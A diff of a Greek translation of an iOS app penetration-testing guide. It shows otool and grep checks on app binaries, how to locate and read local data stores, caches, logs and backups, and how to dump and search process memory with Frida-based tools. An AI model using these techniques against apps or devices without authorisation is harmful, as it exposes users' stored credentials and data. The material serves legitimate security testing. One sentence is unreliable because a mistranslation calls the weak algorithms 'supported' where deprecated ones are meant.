> Για τα επόμενα βήματα **η εφαρμογή θα πρέπει να είναι εγκατεστημένη** στη συσκευή και θα πρέπει να έχει ήδη αποκτήσει το **IPA αρχείο** της εφαρμογής.\
|
||||
> Για τα επόμενα βήματα **η εφαρμογή θα πρέπει να είναι εγκατεστημένη** στη συσκευή και θα πρέπει να έχει ήδη αποκτήσει το **IPA file** της εφαρμογής.\
|
||||
> Διαβάστε τη σελίδα [Basic iOS Testing Operations](basic-ios-testing-operations.md) για να μάθετε πώς να το κάνετε αυτό.
|
||||
|
||||
### Βασική Στατική Ανάλυση
|
||||
### Basic Static Analysis
|
||||
|
||||
Ορισμένοι ενδιαφέροντες αποσυμπιεστές αρχείων iOS - IPA:
|
||||
|
||||
- https://github.com/LaurieWired/Malimite
|
||||
- https://ghidra-sre.org/
|
||||
|
||||
Συνιστάται να χρησιμοποιήσετε το εργαλείο [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) για να εκτελέσετε μια αυτόματη Στατική Ανάλυση στο IPA αρχείο.
|
||||
Συνιστάται να χρησιμοποιήσετε το εργαλείο [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) για να εκτελέσετε μια αυτόματη Στατική Ανάλυση στο αρχείο IPA.
|
||||
|
||||
Αναγνώριση των **προστασιών που υπάρχουν στο δυαδικό**:
|
||||
|
||||
@ -59,7 +59,7 @@ otool -I -v <app-binary> | grep stack_chk # Θα πρέπει να περιλ
|
||||
otool -I -v <app-binary> | grep objc_release # Θα πρέπει να περιλαμβάνει το σύμβολο _objc_release
|
||||
```
|
||||
|
||||
- **Κρυπτογραφημένο Δυαδικό**: Το δυαδικό θα πρέπει να είναι κρυπτογραφημένο
|
||||
- **Encrypted Binary**: Το δυαδικό θα πρέπει να είναι κρυπτογραφημένο
|
||||
|
||||
```bash
|
||||
otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT # Το cryptid θα πρέπει να είναι 1
|
||||
@ -67,7 +67,7 @@ otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT # Το cryptid θα π
|
||||
|
||||
**Αναγνώριση Ευαίσθητων/Ανασφαλών Συναρτήσεων**
|
||||
|
||||
- **Αδύνατοι Αλγόριθμοι Χαρακτηρισμού**
|
||||
- **Weak Hashing Algorithms**
|
||||
|
||||
```bash
|
||||
# Στη συσκευή iOS
|
||||
@ -79,7 +79,7 @@ grep -iER "_CC_MD5"
|
||||
grep -iER "_CC_SHA1"
|
||||
```
|
||||
|
||||
- **Ανασφαλείς Τυχαίες Συναρτήσεις**
|
||||
- **Insecure Random Functions**
|
||||
|
||||
```bash
|
||||
# Στη συσκευή iOS
|
||||
@ -93,7 +93,7 @@ grep -iER "_srand"
|
||||
grep -iER "_rand"
|
||||
```
|
||||
|
||||
- **Ανασφαλής Συναρτήση ‘Malloc’**
|
||||
- **Insecure ‘Malloc’ Function**
|
||||
|
||||
```bash
|
||||
# Στη συσκευή iOS
|
||||
@ -103,7 +103,7 @@ otool -Iv <app> | grep -w "_malloc"
|
||||
grep -iER "_malloc"
|
||||
```
|
||||
|
||||
- **Ανασφαλείς και Ευάλωτες Συναρτήσεις**
|
||||
- **Insecure and Vulnerable Functions**
|
||||
|
||||
```bash
|
||||
# Στη συσκευή iOS
|
||||
@ -133,11 +133,11 @@ grep -iER "_printf"
|
||||
grep -iER "_vsprintf"
|
||||
```
|
||||
|
||||
### Βασική Δυναμική Ανάλυση
|
||||
### Basic Dynamic Analysis
|
||||
|
||||
Δείτε τη δυναμική ανάλυση που εκτελεί ο [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF). Θα χρειαστεί να πλοηγηθείτε μέσα από τις διάφορες προβολές και να αλληλεπιδράσετε μαζί τους, αλλά θα συνδέει αρκετές κλάσεις κατά την εκτέλεση άλλων ενεργειών και θα ετοιμάσει μια αναφορά μόλις ολοκληρώσετε.
|
||||
Δείτε την δυναμική ανάλυση που εκτελεί ο [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF). Θα χρειαστεί να πλοηγηθείτε μέσα από τις διάφορες προβολές και να αλληλεπιδράσετε μαζί τους, αλλά θα συνδέει αρκετές κλάσεις κατά την εκτέλεση άλλων ενεργειών και θα ετοιμάσει μια αναφορά μόλις ολοκληρώσετε.
|
||||
|
||||
### Καταγραφή Εγκατεστημένων Εφαρμογών
|
||||
### Listing Installed Apps
|
||||
|
||||
Χρησιμοποιήστε την εντολή `frida-ps -Uai` για να προσδιορίσετε τον **bundle identifier** των εγκατεστημένων εφαρμογών:
|
||||
```bash
|
||||
@ -180,7 +180,7 @@ ios-hooking-with-objection.md
|
||||
|
||||
Το **Info.plist** χρησιμεύει ως θεμέλιο για τις εφαρμογές iOS, περιλαμβάνοντας βασικά δεδομένα ρύθμισης με τη μορφή **ζευγών κλειδιού-τιμής**. Αυτό το αρχείο είναι απαραίτητο όχι μόνο για τις εφαρμογές αλλά και για τις επεκτάσεις εφαρμογών και τα frameworks που περιλαμβάνονται. Είναι δομημένο είτε σε XML είτε σε δυαδική μορφή και περιέχει κρίσιμες πληροφορίες που κυμαίνονται από άδειες εφαρμογής έως ρυθμίσεις ασφαλείας. Για μια λεπτομερή εξερεύνηση των διαθέσιμων κλειδιών, μπορείτε να ανατρέξετε στην [**Τεκμηρίωση Προγραμματιστών της Apple**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc).
|
||||
|
||||
Για όσους επιθυμούν να εργαστούν με αυτό το αρχείο σε μια πιο προσβάσιμη μορφή, η μετατροπή σε XML μπορεί να επιτευχθεί εύκολα μέσω της χρήσης του `plutil` σε macOS (διαθέσιμο εγγενώς σε εκδόσεις 10.2 και μεταγενέστερες) ή `plistutil` σε Linux. Οι εντολές για τη μετατροπή είναι οι εξής:
|
||||
Για όσους επιθυμούν να εργαστούν με αυτό το αρχείο σε μια πιο προσβάσιμη μορφή, η μετατροπή σε XML μπορεί να επιτευχθεί εύκολα μέσω της χρήσης του `plutil` σε macOS (διαθέσιμο εγγενώς σε εκδόσεις 10.2 και μεταγενέστερες) ή του `plistutil` σε Linux. Οι εντολές για τη μετατροπή είναι οι εξής:
|
||||
|
||||
- **Για macOS**:
|
||||
```bash
|
||||
@ -191,13 +191,13 @@ $ plutil -convert xml1 Info.plist
|
||||
$ apt install libplist-utils
|
||||
$ plistutil -i Info.plist -o Info_xml.plist
|
||||
```
|
||||
Ανάμεσα στην πληθώρα πληροφοριών που μπορεί να αποκαλύψει το αρχείο **Info.plist**, οι σημαντικές καταχωρήσεις περιλαμβάνουν τις συμβολοσειρές αδειών εφαρμογής (`UsageDescription`), τα προσαρμοσμένα URL schemes (`CFBundleURLTypes`), και τις ρυθμίσεις για την Ασφάλεια Μεταφοράς Εφαρμογών (`NSAppTransportSecurity`). Αυτές οι καταχωρήσεις, μαζί με άλλες όπως οι εξαγόμενοι/εισαγόμενοι τύποι εγγράφων (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), μπορούν να εντοπιστούν εύκολα με την επιθεώρηση του αρχείου ή χρησιμοποιώντας μια απλή εντολή `grep`:
|
||||
Μεταξύ της πληθώρας πληροφοριών που μπορεί να αποκαλύψει το αρχείο **Info.plist**, οι αξιοσημείωτες καταχωρήσεις περιλαμβάνουν τις συμβολοσειρές αδειών εφαρμογής (`UsageDescription`), τα προσαρμοσμένα URL schemes (`CFBundleURLTypes`), και τις ρυθμίσεις για την Ασφάλεια Μεταφοράς Εφαρμογών (`NSAppTransportSecurity`). Αυτές οι καταχωρήσεις, μαζί με άλλες όπως οι εξαγόμενοι/εισαγόμενοι τύποι εγγράφων (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), μπορούν να εντοπιστούν εύκολα με την επιθεώρηση του αρχείου ή χρησιμοποιώντας μια απλή εντολή `grep`:
|
||||
```bash
|
||||
$ grep -i <keyword> Info.plist
|
||||
```
|
||||
**Διαδρομές Δεδομένων**
|
||||
|
||||
Στο περιβάλλον iOS, οι καταλόγοι προορίζονται συγκεκριμένα για **συστήματα εφαρμογών** και **εφαρμογές που έχουν εγκατασταθεί από τον χρήστη**. Οι εφαρμογές συστήματος βρίσκονται στον κατάλογο `/Applications`, ενώ οι εφαρμογές που έχουν εγκατασταθεί από τον χρήστη τοποθετούνται κάτω από `/var/mobile/containers/Data/Application/`. Αυτές οι εφαρμογές έχουν ανατεθεί μια μοναδική ταυτότητα γνωστή ως **128-bit UUID**, καθιστώντας την εργασία της χειροκίνητης εύρεσης του φακέλου μιας εφαρμογής δύσκολη λόγω της τυχαιότητας των ονομάτων των καταλόγων.
|
||||
Στο περιβάλλον iOS, οι καταλόγοι προορίζονται συγκεκριμένα για **εφαρμογές συστήματος** και **εφαρμογές που έχουν εγκατασταθεί από τον χρήστη**. Οι εφαρμογές συστήματος βρίσκονται στον κατάλογο `/Applications`, ενώ οι εφαρμογές που έχουν εγκατασταθεί από τον χρήστη τοποθετούνται κάτω από `/var/mobile/containers/Data/Application/`. Αυτές οι εφαρμογές έχουν ανατεθεί μια μοναδική ταυτότητα γνωστή ως **128-bit UUID**, καθιστώντας την εργασία της χειροκίνητης εύρεσης του φακέλου μιας εφαρμογής δύσκολη λόγω της τυχαιότητας των ονομάτων των καταλόγων.
|
||||
|
||||
> [!WARNING]
|
||||
> Καθώς οι εφαρμογές στο iOS πρέπει να είναι sandboxed, κάθε εφαρμογή θα έχει επίσης έναν φάκελο μέσα στο **`$HOME/Library/Containers`** με το **`CFBundleIdentifier`** της εφαρμογής ως το όνομα του φακέλου.
|
||||
@ -219,7 +219,7 @@ LibraryDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8E
|
||||
```bash
|
||||
find /private/var/containers -name "Progname*"
|
||||
```
|
||||
Οι εντολές όπως `ps` και `lsof` μπορούν επίσης να χρησιμοποιηθούν για να εντοπίσουν τη διαδικασία της εφαρμογής και να καταγράψουν τα ανοιχτά αρχεία, αντίστοιχα, παρέχοντας πληροφορίες σχετικά με τις ενεργές διαδρομές καταλόγων της εφαρμογής:
|
||||
Οι εντολές όπως `ps` και `lsof` μπορούν επίσης να χρησιμοποιηθούν για να εντοπίσουν τη διαδικασία της εφαρμογής και να καταγράψουν τα ανοιχτά αρχεία, αντίστοιχα, παρέχοντας πληροφορίες σχετικά με τις ενεργές διαδρομές καταλόγου της εφαρμογής:
|
||||
```bash
|
||||
ps -ef | grep -i <app-name>
|
||||
lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||
@ -246,24 +246,24 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||
- Περιέχει **ημι-μόνιμα αρχεία cache.**
|
||||
- Αόρατη στους χρήστες και **οι χρήστες δεν μπορούν να γράψουν σε αυτήν**.
|
||||
- Το περιεχόμενο σε αυτή τη διεύθυνση **δεν είναι αντίγραφο ασφαλείας**.
|
||||
- Το OS μπορεί να διαγράψει αυτόματα τα αρχεία αυτής της διεύθυνσης όταν η εφαρμογή δεν εκτελείται και ο χώρος αποθήκευσης είναι περιορισμένος.
|
||||
- Το OS μπορεί να διαγράψει αυτόματα τα αρχεία αυτού του φακέλου όταν η εφαρμογή δεν εκτελείται και ο χώρος αποθήκευσης είναι περιορισμένος.
|
||||
- **Library/Application Support/**
|
||||
- Περιέχει **μόνιμα** **αρχεία** απαραίτητα για τη λειτουργία της εφαρμογής.
|
||||
- **Αόρατη** **στους** **χρήστες** και οι χρήστες δεν μπορούν να γράψουν σε αυτήν.
|
||||
- Το περιεχόμενο σε αυτή τη διεύθυνση **είναι αντίγραφο ασφαλείας**.
|
||||
- Η εφαρμογή μπορεί να απενεργοποιήσει διαδρομές ορίζοντας το `NSURLIsExcludedFromBackupKey`.
|
||||
- **Library/Preferences/**
|
||||
- Χρησιμοποιείται για την αποθήκευση ιδιοτήτων που μπορούν να **διατηρηθούν ακόμη και μετά την επανεκκίνηση μιας εφαρμογής**.
|
||||
- Οι πληροφορίες αποθηκεύονται, μη κρυπτογραφημένες, μέσα στο sandbox της εφαρμογής σε ένα αρχείο plist που ονομάζεται \[BUNDLE_ID].plist.
|
||||
- Χρησιμοποιείται για την αποθήκευση ιδιοτήτων που μπορούν να **διαρκέσουν ακόμη και μετά την επανεκκίνηση μιας εφαρμογής**.
|
||||
- Οι πληροφορίες αποθηκεύονται, χωρίς κρυπτογράφηση, μέσα στο sandbox της εφαρμογής σε ένα αρχείο plist που ονομάζεται \[BUNDLE_ID].plist.
|
||||
- Όλα τα ζεύγη κλειδιού/τιμής που αποθηκεύονται χρησιμοποιώντας το `NSUserDefaults` μπορούν να βρεθούν σε αυτό το αρχείο.
|
||||
- **tmp/**
|
||||
- Χρησιμοποιήστε αυτή τη διεύθυνση για να γράψετε **προσωρινά αρχεία** που δεν χρειάζεται να διατηρηθούν μεταξύ των εκκινήσεων της εφαρμογής.
|
||||
- Χρησιμοποιήστε αυτή τη διεύθυνση για να γράψετε **προσωρινά αρχεία** που δεν χρειάζεται να διαρκέσουν μεταξύ των εκκινήσεων της εφαρμογής.
|
||||
- Περιέχει μη μόνιμα αρχεία cache.
|
||||
- **Αόρατη** στους χρήστες.
|
||||
- Το περιεχόμενο σε αυτή τη διεύθυνση δεν είναι αντίγραφο ασφαλείας.
|
||||
- Το OS μπορεί να διαγράψει αυτόματα τα αρχεία αυτής της διεύθυνσης όταν η εφαρμογή δεν εκτελείται και ο χώρος αποθήκευσης είναι περιορισμένος.
|
||||
- Το OS μπορεί να διαγράψει αυτόματα τα αρχεία αυτού του φακέλου όταν η εφαρμογή δεν εκτελείται και ο χώρος αποθήκευσης είναι περιορισμένος.
|
||||
|
||||
Ας ρίξουμε μια πιο προσεκτική ματιά στο Application Bundle (.app) της iGoat-Swift μέσα στη διεύθυνση πακέτου (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`):
|
||||
Ας ρίξουμε μια πιο προσεκτική ματιά στο Application Bundle (.app) του iGoat-Swift μέσα στη διεύθυνση πακέτου (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`):
|
||||
```bash
|
||||
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls
|
||||
NSFileType Perms NSFileProtection ... Name
|
||||
@ -371,13 +371,13 @@ ios-basics.md
|
||||
|
||||
### Plist
|
||||
|
||||
Τα **plist** αρχεία είναι δομημένα XML αρχεία που **περιέχουν ζεύγη κλειδιού-τιμής**. Είναι ένας τρόπος αποθήκευσης μόνιμων δεδομένων, οπότε μερικές φορές μπορεί να βρείτε **ευαίσθητες πληροφορίες σε αυτά τα αρχεία**. Συνιστάται να ελέγξετε αυτά τα αρχεία μετά την εγκατάσταση της εφαρμογής και μετά τη χρήση της εντατικά για να δείτε αν έχουν γραφτεί νέα δεδομένα.
|
||||
Τα αρχεία **plist** είναι δομημένα αρχεία XML που **περιέχουν ζεύγη κλειδιού-τιμής**. Είναι ένας τρόπος αποθήκευσης μόνιμων δεδομένων, οπότε μερικές φορές μπορεί να βρείτε **ευαίσθητες πληροφορίες σε αυτά τα αρχεία**. Συνιστάται να ελέγχετε αυτά τα αρχεία μετά την εγκατάσταση της εφαρμογής και μετά τη χρήση της εντατικά για να δείτε αν έχουν γραφτεί νέα δεδομένα.
|
||||
|
||||
Ο πιο κοινός τρόπος για να διατηρήσετε δεδομένα σε αρχεία plist είναι μέσω της χρήσης του **NSUserDefaults**. Αυτό το αρχείο plist αποθηκεύεται μέσα στο sandbox της εφαρμογής στο **`Library/Preferences/<appBundleID>.plist`**
|
||||
|
||||
Η κλάση [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) παρέχει μια προγραμματιστική διεπαφή για την αλληλεπίδραση με το προεπιλεγμένο σύστημα. Το προεπιλεγμένο σύστημα επιτρέπει σε μια εφαρμογή να προσαρμόσει τη συμπεριφορά της σύμφωνα με τις **προτιμήσεις του χρήστη**. Τα δεδομένα που αποθηκεύονται από το `NSUserDefaults` μπορούν να προβληθούν στο πακέτο της εφαρμογής. Αυτή η κλάση αποθηκεύει **δεδομένα** σε ένα **plist** **αρχείο**, αλλά προορίζεται να χρησιμοποιείται με μικρές ποσότητες δεδομένων.
|
||||
Η κλάση [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) παρέχει μια προγραμματιστική διεπαφή για την αλληλεπίδραση με το προεπιλεγμένο σύστημα. Το προεπιλεγμένο σύστημα επιτρέπει σε μια εφαρμογή να προσαρμόσει τη συμπεριφορά της σύμφωνα με τις **προτιμήσεις του χρήστη**. Τα δεδομένα που αποθηκεύονται από το `NSUserDefaults` μπορούν να προβληθούν στο πακέτο της εφαρμογής. Αυτή η κλάση αποθηκεύει **δεδομένα** σε ένα **αρχείο plist**, αλλά προορίζεται για χρήση με μικρές ποσότητες δεδομένων.
|
||||
|
||||
Αυτά τα δεδομένα δεν μπορούν πλέον να προσπελαστούν άμεσα μέσω ενός αξιόπιστου υπολογιστή, αλλά μπορούν να προσπελαστούν εκτελώντας ένα **backup**.
|
||||
Αυτά τα δεδομένα δεν μπορούν πλέον να προσπελαστούν απευθείας μέσω ενός αξιόπιστου υπολογιστή, αλλά μπορούν να προσπελαστούν εκτελώντας ένα **backup**.
|
||||
|
||||
Μπορείτε να **dump** τις πληροφορίες που αποθηκεύονται χρησιμοποιώντας το **`NSUserDefaults`** με την εντολή `ios nsuserdefaults get` του objection.
|
||||
|
||||
@ -402,7 +402,7 @@ ios plist cat /private/var/mobile/Containers/Data/Application/<Application-UUID>
|
||||
```
|
||||
### Core Data
|
||||
|
||||
[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1) είναι ένα πλαίσιο για τη διαχείριση της μοντελοποιημένης στρώσης αντικειμένων στην εφαρμογή σας. [Το Core Data μπορεί να χρησιμοποιήσει το SQLite ως μόνιμο αποθηκευτικό χώρο](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), αλλά το ίδιο το πλαίσιο δεν είναι μια βάση δεδομένων.\
|
||||
[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1) είναι ένα πλαίσιο για τη διαχείριση της μοντελοποιημένης στρώσης αντικειμένων στην εφαρμογή σας. [Το Core Data μπορεί να χρησιμοποιεί το SQLite ως μόνιμο αποθηκευτικό χώρο](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), αλλά το ίδιο το πλαίσιο δεν είναι βάση δεδομένων.\
|
||||
Το CoreData δεν κρυπτογραφεί τα δεδομένα του από προεπιλογή. Ωστόσο, μπορεί να προστεθεί μια επιπλέον στρώση κρυπτογράφησης στο CoreData. Δείτε το [GitHub Repo](https://github.com/project-imas/encrypted-core-data) για περισσότερες λεπτομέρειες.
|
||||
|
||||
Μπορείτε να βρείτε τις πληροφορίες Core Data SQLite μιας εφαρμογής στη διαδρομή `/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support`
|
||||
@ -454,7 +454,7 @@ find ./ -name "*.sqlite" -or -name "*.db"
|
||||
|
||||
### Realm databases
|
||||
|
||||
[Realm Objective-C](https://realm.io/docs/objc/latest/) και [Realm Swift](https://realm.io/docs/swift/latest/) προσφέρουν μια ισχυρή εναλλακτική για την αποθήκευση δεδομένων, που δεν παρέχεται από την Apple. Από προεπιλογή, **αποθηκεύουν δεδομένα χωρίς κρυπτογράφηση**, με κρυπτογράφηση διαθέσιμη μέσω συγκεκριμένης διαμόρφωσης.
|
||||
[Realm Objective-C](https://realm.io/docs/objc/latest/) και [Realm Swift](https://realm.io/docs/swift/latest/) προσφέρουν μια ισχυρή εναλλακτική λύση για την αποθήκευση δεδομένων, που δεν παρέχεται από την Apple. Από προεπιλογή, **αποθηκεύουν δεδομένα χωρίς κρυπτογράφηση**, με κρυπτογράφηση διαθέσιμη μέσω συγκεκριμένης διαμόρφωσης.
|
||||
|
||||
Οι βάσεις δεδομένων βρίσκονται στη διεύθυνση: `/private/var/mobile/Containers/Data/Application/{APPID}`. Για να εξερευνήσετε αυτά τα αρχεία, μπορείτε να χρησιμοποιήσετε εντολές όπως:
|
||||
```bash
|
||||
@ -479,7 +479,7 @@ fatalError("Error opening realm: \(error)")
|
||||
```
|
||||
### Couchbase Lite Databases
|
||||
|
||||
[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios) περιγράφεται ως μια **ελαφριά** και **ενσωματωμένη** μηχανή βάσης δεδομένων που ακολουθεί την προσέγγιση **προσανατολισμένη σε έγγραφα** (NoSQL). Σχεδιασμένη να είναι εγγενής για **iOS** και **macOS**, προσφέρει τη δυνατότητα συγχρονισμού δεδομένων χωρίς προβλήματα.
|
||||
[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios) περιγράφεται ως μια **ελαφριά** και **ενσωματωμένη** μηχανή βάσης δεδομένων που ακολουθεί την **εγγράφου-προσανατολισμένη** (NoSQL) προσέγγιση. Σχεδιασμένη να είναι εγγενής για **iOS** και **macOS**, προσφέρει τη δυνατότητα συγχρονισμού δεδομένων χωρίς προβλήματα.
|
||||
|
||||
Για να εντοπιστούν πιθανές βάσεις δεδομένων Couchbase σε μια συσκευή, θα πρέπει να ελεγχθεί ο παρακάτω κατάλογος:
|
||||
```bash
|
||||
@ -512,7 +512,7 @@ ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application S
|
||||
|
||||
Συνιστάται να απενεργοποιήσετε την αποθήκευση αυτών των δεδομένων, καθώς μπορεί να περιέχουν ευαίσθητες πληροφορίες στην αίτηση ή την απάντηση. Η παρακάτω λίστα δείχνει διάφορους τρόπους για να το επιτύχετε αυτό:
|
||||
|
||||
1. Συνιστάται να αφαιρείτε τις αποθηκευμένες απαντήσεις μετά την αποσύνδεση. Αυτό μπορεί να γίνει με τη μέθοδο που παρέχει η Apple, που ονομάζεται [`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses). Μπορείτε να καλέσετε αυτή τη μέθοδο ως εξής:
|
||||
1. Συνιστάται να αφαιρείτε τις αποθηκευμένες απαντήσεις μετά την αποσύνδεση. Αυτό μπορεί να γίνει με τη μέθοδο που παρέχεται από την Apple που ονομάζεται [`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses). Μπορείτε να καλέσετε αυτή τη μέθοδο ως εξής:
|
||||
|
||||
`URLCache.shared.removeAllCachedResponses()`
|
||||
|
||||
@ -534,7 +534,7 @@ ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application S
|
||||
|
||||
Ένας τρόπος για να αποτρέψετε αυτή τη κακή συμπεριφορά είναι να βάλετε μια κενή οθόνη ή να αφαιρέσετε τα ευαίσθητα δεδομένα πριν από τη λήψη του στιγμιότυπου χρησιμοποιώντας τη λειτουργία `ApplicationDidEnterBackground()`.
|
||||
|
||||
Η παρακάτω είναι μια δείγμα μεθόδου αποκατάστασης που θα ορίσει ένα προεπιλεγμένο στιγμιότυπο.
|
||||
Η παρακάτω είναι μια δείγμα μεθόδου αποκατάστασης που θα ορίσει ένα προεπιλεγμένο στιγμιότυπο οθόνης.
|
||||
|
||||
Swift:
|
||||
```swift
|
||||
@ -638,7 +638,7 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
|
||||
|
||||
## Αντίγραφα ασφαλείας
|
||||
|
||||
Οι **λειτουργίες αυτόματης δημιουργίας αντιγράφων ασφαλείας** είναι ενσωματωμένες στο iOS, διευκολύνοντας τη δημιουργία αντιγράφων δεδομένων συσκευής μέσω του iTunes (έως macOS Catalina), Finder (από macOS Catalina και μετά) ή iCloud. Αυτά τα αντίγραφα ασφαλείας περιλαμβάνουν σχεδόν όλα τα δεδομένα της συσκευής, εξαιρουμένων των πολύ ευαίσθητων στοιχείων όπως οι λεπτομέρειες του Apple Pay και οι ρυθμίσεις του Touch ID.
|
||||
**Δυνατότητες αυτόματης δημιουργίας αντιγράφων ασφαλείας** είναι ενσωματωμένες στο iOS, διευκολύνοντας τη δημιουργία αντιγράφων δεδομένων συσκευής μέσω του iTunes (έως macOS Catalina), Finder (από macOS Catalina και μετά) ή iCloud. Αυτά τα αντίγραφα ασφαλείας περιλαμβάνουν σχεδόν όλα τα δεδομένα της συσκευής, εξαιρουμένων των πολύ ευαίσθητων στοιχείων όπως οι λεπτομέρειες του Apple Pay και οι ρυθμίσεις του Touch ID.
|
||||
|
||||
### Κίνδυνοι Ασφαλείας
|
||||
|
||||
@ -646,11 +646,11 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
|
||||
|
||||
### Εξαίρεση Αρχείων από Αντίγραφα Ασφαλείας
|
||||
|
||||
Τα αρχεία στον `Documents/` και `Library/Application Support/` δημιουργούνται αντίγραφα ασφαλείας από προεπιλογή. Οι προγραμματιστές μπορούν να εξαιρέσουν συγκεκριμένα αρχεία ή καταλόγους από τα αντίγραφα ασφαλείας χρησιμοποιώντας το `NSURL setResourceValue:forKey:error:` με το `NSURLIsExcludedFromBackupKey`. Αυτή η πρακτική είναι κρίσιμη για την προστασία ευαίσθητων δεδομένων από το να περιλαμβάνονται στα αντίγραφα ασφαλείας.
|
||||
Αρχεία στον `Documents/` και `Library/Application Support/` δημιουργούνται αντίγραφα ασφαλείας από προεπιλογή. Οι προγραμματιστές μπορούν να εξαιρέσουν συγκεκριμένα αρχεία ή καταλόγους από τα αντίγραφα ασφαλείας χρησιμοποιώντας `NSURL setResourceValue:forKey:error:` με το `NSURLIsExcludedFromBackupKey`. Αυτή η πρακτική είναι κρίσιμη για την προστασία ευαίσθητων δεδομένων από το να περιλαμβάνονται στα αντίγραφα ασφαλείας.
|
||||
|
||||
### Δοκιμή για Ευπάθειες
|
||||
|
||||
Για να αξιολογήσετε την ασφάλεια των αντιγράφων ασφαλείας μιας εφαρμογής, ξεκινήστε με τη **δημιουργία ενός αντιγράφου ασφαλείας** χρησιμοποιώντας το Finder, στη συνέχεια εντοπίστε το χρησιμοποιώντας καθοδήγηση από [την επίσημη τεκμηρίωση της Apple](https://support.apple.com/en-us/HT204215). Αναλύστε το αντίγραφο ασφαλείας για ευαίσθητα δεδομένα ή ρυθμίσεις που θα μπορούσαν να τροποποιηθούν για να επηρεάσουν τη συμπεριφορά της εφαρμογής.
|
||||
Για να αξιολογήσετε την ασφάλεια των αντιγράφων ασφαλείας μιας εφαρμογής, ξεκινήστε με **τη δημιουργία ενός αντιγράφου ασφαλείας** χρησιμοποιώντας τον Finder, στη συνέχεια εντοπίστε το χρησιμοποιώντας καθοδήγηση από [την επίσημη τεκμηρίωση της Apple](https://support.apple.com/en-us/HT204215). Αναλύστε το αντίγραφο ασφαλείας για ευαίσθητα δεδομένα ή ρυθμίσεις που θα μπορούσαν να τροποποιηθούν για να επηρεάσουν τη συμπεριφορά της εφαρμογής.
|
||||
|
||||
Ευαίσθητες πληροφορίες μπορούν να αναζητηθούν χρησιμοποιώντας εργαλεία γραμμής εντολών ή εφαρμογές όπως το [iMazing](https://imazing.com). Για κρυπτογραφημένα αντίγραφα ασφαλείας, η παρουσία κρυπτογράφησης μπορεί να επιβεβαιωθεί ελέγχοντας το κλειδί "IsEncrypted" στο αρχείο "Manifest.plist" στη ρίζα του αντιγράφου ασφαλείας.
|
||||
```xml
|
||||
@ -677,7 +677,7 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
|
||||
|
||||
## **Ανάκτηση και Ανάλυση ενός Dump Μνήμης**
|
||||
|
||||
Για συσκευές που είναι jailbroken και μη jailbroken, εργαλεία όπως το [objection](https://github.com/sensepost/objection) και το [Fridump](https://github.com/Nightbringer21/fridump) επιτρέπουν την εξαγωγή της μνήμης διαδικασίας μιας εφαρμογής. Αφού γίνει η εξαγωγή, η ανάλυση αυτών των δεδομένων απαιτεί διάφορα εργαλεία, ανάλογα με τη φύση των πληροφοριών που αναζητάτε.
|
||||
Για συσκευές που είναι jailbroken και μη jailbroken, εργαλεία όπως το [objection](https://github.com/sensepost/objection) και το [Fridump](https://github.com/Nightbringer21/fridump) επιτρέπουν την εξαγωγή της μνήμης της διαδικασίας μιας εφαρμογής. Αφού γίνει η εξαγωγή, η ανάλυση αυτών των δεδομένων απαιτεί διάφορα εργαλεία, ανάλογα με τη φύση των πληροφοριών που αναζητάτε.
|
||||
|
||||
Για να εξάγετε συμβολοσειρές από ένα dump μνήμης, μπορούν να χρησιμοποιηθούν εντολές όπως `strings` ή `rabin2 -zz`:
|
||||
```bash
|
||||
@ -708,7 +708,7 @@ $ r2 frida://usb//<name_of_your_app>
|
||||
|
||||
### Χρήση Ανασφαλών και/ή Υποστηριζόμενων Αλγορίθμων
|
||||
|
||||
Οι προγραμματιστές δεν θα πρέπει να χρησιμοποιούν **υποστηριζόμενους αλγορίθμους** για να εκτελούν **ελέγχους** εξουσιοδότησης, **να αποθηκεύουν** ή **να στέλνουν** δεδομένα. Ορισμένοι από αυτούς τους αλγορίθμους είναι: RC4, MD4, MD5, SHA1... Αν χρησιμοποιούνται **hashes** για την αποθήκευση κωδικών πρόσβασης, θα πρέπει να χρησιμοποιούνται hashes ανθεκτικά σε brute-force με αλάτι.
|
||||
